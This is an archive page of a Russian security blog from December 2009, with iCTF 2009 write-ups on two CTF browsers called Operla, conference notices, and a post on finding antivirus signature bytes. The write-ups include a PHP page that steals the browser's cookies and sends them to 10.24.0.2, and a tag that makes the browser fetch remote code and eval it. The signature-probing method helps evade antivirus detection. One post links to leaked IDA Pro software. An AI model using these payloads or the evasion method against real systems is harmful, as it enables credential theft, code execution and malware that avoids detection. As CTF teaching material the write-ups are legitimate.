December 2009 Archives

26c3

27-30 декабря пройдет 26-ая конференция Chaos Communication Congress (aka 26c3). На этот раз почему-то без CTF. Будет какое-то соревнование непонятное Hacker Jeopardy.

С расписанием докладов и пр. можно ознакомиться на сайте: http://events.ccc.de/congress/2009/wiki/Main_Page

В дефолт сити пройдет московское отделение конференции, подробнее: http://community.livejournal.com/securityblogru/66982.html

Продолжаем разбор полетов iCTF 2009. Начало здесь.

Вторая версия браузера Operla уже была запатчена от уязвимости первой версии. Суть уязвимости была в основном функционале браузера - Operla 0.2 парсила все теги на предмет наличия в них action=([^;]*):

if ($text =~ /action=([^;]*)/) {
$obj = $self->{o};
$obj->action($1);
}

Соответственно в sub action было:

if ($action eq 'update') {
my $ua = $self->{ua};
$res = $ua->get ($self->{data});
$value = $res->content;
if ($self->verifySignature ($va1ue)) {
eval ($value);
}
Если код подписанный (verifySignature возвращает 1), то eval-ился код из того же тега из аттрибута data. Поскольку в функцию отдавался параметр с опечаткой (va1ue вместо value), то подпись всегда прокатывала :)
sub verifySignature {
my $self = shift @_;
$data = shift @_;
$hash = md5_hex ($data);
if ($data eq '' or $hash eq '5eb63bbbe01eeedO93cb22bb8f5acdc3' or $data eq '') {
return 1;
}
return 0;
}

Таким образом валидный код для eval только пустой или hello world, а поскольку $va1ue -- undef, то verifySignature всегда возвращала 1.

Эксплойт для главной страницы:

<span data="http://10.24.0.2/o02.txt">action=update</span>

Вместо тега span может быть любой другой.

Исходники файлов:

operla-0.2.pl
Object.pm
Как известно, сигнатура - последовательность байт, однозначно идентифицирующая угрозу (в частности, компьютерный вирус).

Сигнатура должна обладать свойством однозначного детектирования некоторой угрозы. Другими словами, последовательность байт в сигнатуре должна быть достаточно длинной и уникальной, чтобы не давать ложных срабатываний. В то же самое время, одна сигнатура должна определять все возможные вариации конкретной угрозы.
В качестве сигнатуры могут использоваться:
  •  Последовательности инструкций.
  •  Строковые константы, например, сообщения или имя вируса, данное создателем и указанное в файле.
  •  Маркер-признак зараженности файла, используемый вирусом, чтобы не допустить повторного заражения
Антивирусная база, в свою очередь, содержит вирусные записи, состоящие из:
  • Вирусной сигнатуры.
  •  Местоположение для поиска сигнатуры (заголовок исполняемого файла, смещение в секции кода или данных и т.д.).
  • Метод поиска: обычное сканирование, распаковка исполняемого файла, эмуляция кода и т.д.
Несмотря на тот факт, что в самой базе часто хранится не последовательность байт из тела вируса, а контрольная сумма или хеш некоторых участков тела вируса  (для уменьшения размера базы, а также увеличения скорости сканирования), возможно выделение этих самых байт, которые используются в сигнатуре методом простого перебора значений. То есть, модифицируется каждый байт файла, затем проверяется антивирусом. Если файл не опознан как зараженный, это значит, что данный байт входит в сигнатуру. Понятно, что данный метод работает либо для нешифрованных вирусов, либо для вирусов, детект которых осуществляется непосредственно по декриптору без эмуляции и иных попыток получения расшифрованного тела вируса.

Например, в случае Email-Worm.Win32.Bagle.a для KAV (и его лицензированного аналога от F-Secure) получим следующие смещения в файле, используемые для расчета хеша:
0-1-60-61-62-63-200-201-202-203-220-221-240-241-242-243-460-461-462-463-469-470-471-9688-9689
Байты, выделенные полужирным соответствуют критическим участкам PE-заголовка - сигнатуры MZ, PE+00, смещение на PE-заголовок.
Выделенные курсивом байты также являются частью PE-заголовка.
Сами же значения байтов следующие:
4D-5A-C8-00-00-00-50-45-00-00-E0-00-8A-31-00-00-00-10-00-00-04-00-00-FA-FF

Во вложении доступны инструменты, применяемые в этом эксперименте: программа generate.exe выдает в подкаталог files измененные версии указанной вредоносной программы, перл-скрипт парсит лог проверки KIS данного каталога.
Запуск KIS можно выполнить из командной строки, например, так:
C:\KIS\avp.exe SCAN files /R:log10.txt /i0

Оригинальная идея E. Filiol & M. Christodorescu.
Reblog this post [with Zemanta]

Начнем разбор полетов по итогам UCSB iCTF 2009 с браузера Operla 0.1. Наши коллеги из команды ТГУ SiBears рассмотрели уже несколько браузеров (см. посты с тегом «Разборы»)

В браузере Operla 0.1 был найден всего 1 баг -- существует возможность похитить куки.

Если браузеру отдать кукис sec=hello+world, то браузер сделает GET со всеми кукисами на адрес, указанный в кукисе Remote-Cookie-Store.

Пример злобной страницы на PHP:

o01.php:
<?php
setcookie('sec', 'hello world');
setcookie('Remote-Cookie-Store', 'http://10.24.0.2/get-sniff.php');
?>
get-sniff.php:
<?php
$date = strftime('%d-%m-%Y %H:%M:%S', time());
$log = fopen('/tmp/log-operla-0.1.txt', 'a+');
if (!$log) return;
fprintf($log, "[%s from %s] %s\n", $date, $_SERVER['REMOTE_ADDR'], urldecode($_SERVER['REQUEST_URI']));
fclose($log);
}
?>
Сам код внутри файла operla:
....
if ((defined ($c->{'sec'}) && trustedCstore($c->{'sec'})) && defined($c->{'Remote-Cookie-Store'})) {
$cstrurl = $c->{'Remote-Cookie-Store'};
$cstrurl =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;
$cstr =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
$cstrurl .= "?$cstr";
$ua->get($cstrurl);
}
....
sub trustedCstore {
my $val = shift @_;
$val =~ s/\+/ /g;
my $v = md5_hex($val);
if ($v eq '5eb63bbbe01eeed093cb22bb8f5acdc3') {
return 1;
}
return 0;
}
....

5eb63bbbe01eeed093cb22bb8f5acdc3 - это md5 от hello world.

Исходники файлов:
operla-0.1.pl
get-sniff.php
o01.php

ИдаПро 5.5 + ХексРейс 1.1 утекли, правда без SDK :(.

Линк на форуме: http://reng.ru/board/viewtopic.php?f=4&t=2638 (ссылки скоро сдохнут)
Чейнджлог: http://www.hex-rays.com/idapro/55/index.htm
На конференцию HITB в Дубаи объявлено приглашение к представлению докладов.
19-22 апреля в отеле Sheraton Dubai Cree пройдет конференция, посвященная техническим вопросам безопасности, новым методам атак или новым областям исследований, не рассматриваемых ранее.

Рассматриваемые темы (может быть дополнено):
# 3G/4G Cellular Networks
# Apple / OS X security vulnerabilities
# SS7/Backbone telephony networks
# VoIP security
# Firewall technologies
# Intrusion detection
# Data Recovery, Forensics and Incident Response
# HSDPA and CDMA Security
# WIMAX Security
# Identification and Entity Authentication
# Network Protocol and Analysis
# Smart Card and Physical Security
# Virus and Worms
# WLAN, GPS, HAM Radio, Satellite, RFID and Bluetooth Security
# Analysis of malicious code
# Applications of cryptographic techniques
# Analysis of attacks against networks and machines
# File system security
# Security of Embedded Devices
# Side Channel Analysis of Hardware Devices
# Cloud Security

Сайт конференции: http://conference.hackinthebox.org/hitbsecconf2010dxb/
Источник: http://www.packetstormsecurity.org/papers/call_for/HITB-2010-CFP-Dubai.txt
Иногда бывает полезно знать распределение команд процессора в исследуемой программе. В частности, при исследовании AV, эвристик которых может считать статистику и выдавать алерты при отклонении от типового распределения - таким образом выявляются генераторы мусора, использующие экзотические инструкции.

Для этих исследовательских целей реализована небольшая утилита на основе движка OllyDbg. Умеет выдавать статистику как по отдельным инструкциям, так и группам инструкций, генерировать вывод формате GNU Plot, дизассемблировать рекурсивно от точки входа или целиком кодовую секцию. Картинка здесь.

Программа генерации здесь.




Несмотря на высказывания Эрика Шмидта (CEO Google), а также товарищей, стригущих денежки на ниве авторского права, гугл как бы намекает нам (картинка) какова реальная ситуация в мире. Или это он искушает?

4 декабря прошел очередной международный контест iCTF по принципу «захвати флаг». Организатор соревнований, профессор факультета Computer Science университета Калифорнии в Санта-Барбаре — Giovanni Vigna.

Формат соревнований на этот раз был необычный. Не было ни образов, ни сервисов, которые надо было патчить и ломать. Были самописные браузеры. Все, что требовалось от команд — поднять свой собственный веб-сервер, напичканный злостным контентом под эти браузеры и под самописный поисковый движок.

Забавный момент был когда в начале игры организаторы выложили большой архив с презентацией и каким-то файлом, и пол-игры народ пытался запустить его под разными решениями виртуальных машин. В итоге файл оказался 2 байтами 'MZ', конкатенированный с выхлопом /dev/urandom :)

Заняли 22 место, но это пока. Я гарантирую это :)

About this Archive

This page is an archive of entries from December 2009 listed from newest to oldest.

January 2010 is the next archive.

Find recent content on the main index or look in the archives to find all content.